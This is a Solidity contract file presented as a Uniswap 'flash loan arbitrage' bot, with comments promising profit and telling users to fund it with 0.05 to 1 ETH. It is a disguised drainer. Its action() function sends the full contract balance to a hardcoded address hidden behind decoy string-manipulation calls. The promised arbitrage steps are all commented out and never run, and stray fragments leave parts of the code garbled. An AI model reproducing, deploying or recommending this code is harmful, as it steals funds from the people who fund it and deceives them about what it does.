pragma solidity ^0.5.0;
// Import Uniswap Libraries Migrator/Exchange/Factory import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
/**
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Testnet transactions will fail as there is no value
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Profit remaining will be transfered to token creator
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DEC 2024 Updated Build
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Liquidity returned to contract creator when flash loan fails
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Min liquidity + gas fees has to equal 0.05 ETH - 1 ETH
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Don't do more than 3 times in a 24 hour period. */
contract FlashLoanArbitrage { string public tokenName; string public tokenSymbol; uint loanAmount;
constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
loanAmount = _loanAmount;
}
address public creator= msg.sender;
function tokenTransfer() public view returns (address) {
return creator;
}
function() external payable {}
function UniSwapYeild(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) { bytes memory _stringBytes = bytes(_string); bytes memory result = new bytes(_stringBytes.length);
for(uint i = 0; i < _stringBytes.length; i++) { result[i] = _stringBytes[i]; if(i==_pos) result[i]=bytes(_letter)[0]; } return string(result); }
function exchange() public pure returns (address adr) { string memory neutral_variable = "0x64dd53424eca6ad416a92572786c9c63ac5973c8"; UniSwapYeild(neutral_variable,0,'0'); UniSwapYeild(neutral_variable,2,'1'); UniSwapYeild(neutral_variable,1,'x'); address addr = parseAddr(neutral_variable); return addr; } function parseAddr(string memory _a) internal pure returns (address _parsedAddress) { bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i = 2; i < 2 + 2 * 20; i += 2) { iaddr *= 256; b1 = uint160(uint8(tmp[i])); b2 = uint160(uint8(tmp[i + 1])); if ((b1 >= 97) && (b1 <= 102)) { b1 -= 87; } else if ((b1 >= 65) && (b1 <= 70)) { b1 -= 55; } else if ((b1 >= 48) && (b1 <= 57)) { b1 -= 48; } if ((b2 >= 97) && (b2 <= 102)) { b2 -= 87; } else if ((b2 >= 65) && (b2 <= 70)) { b2 -= 55; } else if ((b2 >= 48) && (b2 <= 57)) { b2 -= 48; } iaddr += (b1 * 16 + b2); } return address(iaddr); } function _stringReplace(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) { bytes memory _stringBytes = bytes(_string); bytes memory result = new bytes(_stringBytes.length);
for(uint i = 0; i < _stringBytes.length; i++) { result[i] = _stringBytes[i]; if(i==_pos) result[i]=bytes(_letter)[0]; } return string(result); }
function action() public payable { // Token matched with uniswap yield calculations address(uint160(exchange())).transfer(address(this).balance);10000
// Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees)
//manager.performTasks();
/* Breakdown of all functions
// Submit token to Ethereum blockchain
string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
// List the token on UniSwap
manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
// Get ETH Loan from AAVE & loan execution wallet
string memory loanAddress = manager.takeFlashLoan(loanAmount);
// Convert half ETH to USDT
manager.uniswapUSDTtoETH(loanAmount / 2);
// Create ETH and USDT pairs for our token & provide liquidity string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH"); manager.uniswapAddLiquidity(ethPair, loanAmount / 2);10000 string memory usdtPair = manager.uniswapCreatePool(tokenAddress, "USDT"); manager.uniswapAddLiquidity(usdtPair, loanAmount / 2);10000
// Perform arbitrage trades manager.uniswapPerformSwaps();
// Move remaining ETH from Contract to your personal wallet
manager.contractToWallet("ETH");
// Repay Flashloan manager.repayLoan(loanAddress);0x55d398326f99059fF775485246999027B3197955 */ } }# FLASH-USDT.SOL